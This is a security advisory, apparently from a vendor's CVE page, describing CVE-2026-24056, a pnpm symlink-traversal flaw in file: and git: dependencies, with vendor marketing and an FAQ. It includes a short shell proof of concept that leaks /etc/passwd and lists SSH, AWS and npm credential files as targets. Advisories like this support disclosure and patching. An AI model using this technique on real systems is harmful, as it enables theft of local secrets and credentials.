Summary
pnpm has symlink traversal in file:/git dependencies
When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.
Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
Details
The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:
const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath) // Follows symlinks!
const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET
There is no check that absolutePath resolves to a location inside the package directory.
PoC
# Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json
# Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil
# Leaked!
cat node_modules/evil/leaked-passwd.txt
Impact
- Developers installing local/file dependencies
- CI/CD pipelines installing git dependencies
- Credential theft via symlinks to
~/.aws/credentials,~/.npmrc,~/.ssh/id_rsa
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-24056 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.28.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.
Frequently Asked Questions
- What is CVE-2026-24056? CVE-2026-24056 is a medium-severity path traversal vulnerability in pnpm (npm), affecting versions < 10.28.2. It is fixed in 10.28.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-24056? CVE-2026-24056 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pnpm are affected by CVE-2026-24056? pnpm (npm) versions < 10.28.2 is affected.
- Is there a fix for CVE-2026-24056? Yes. CVE-2026-24056 is fixed in 10.28.2. Upgrade to this version or later.
- Is CVE-2026-24056 exploitable, and should I be worried? Whether CVE-2026-24056 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-24056 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-24056? Upgrade
pnpmto 10.28.2 or later.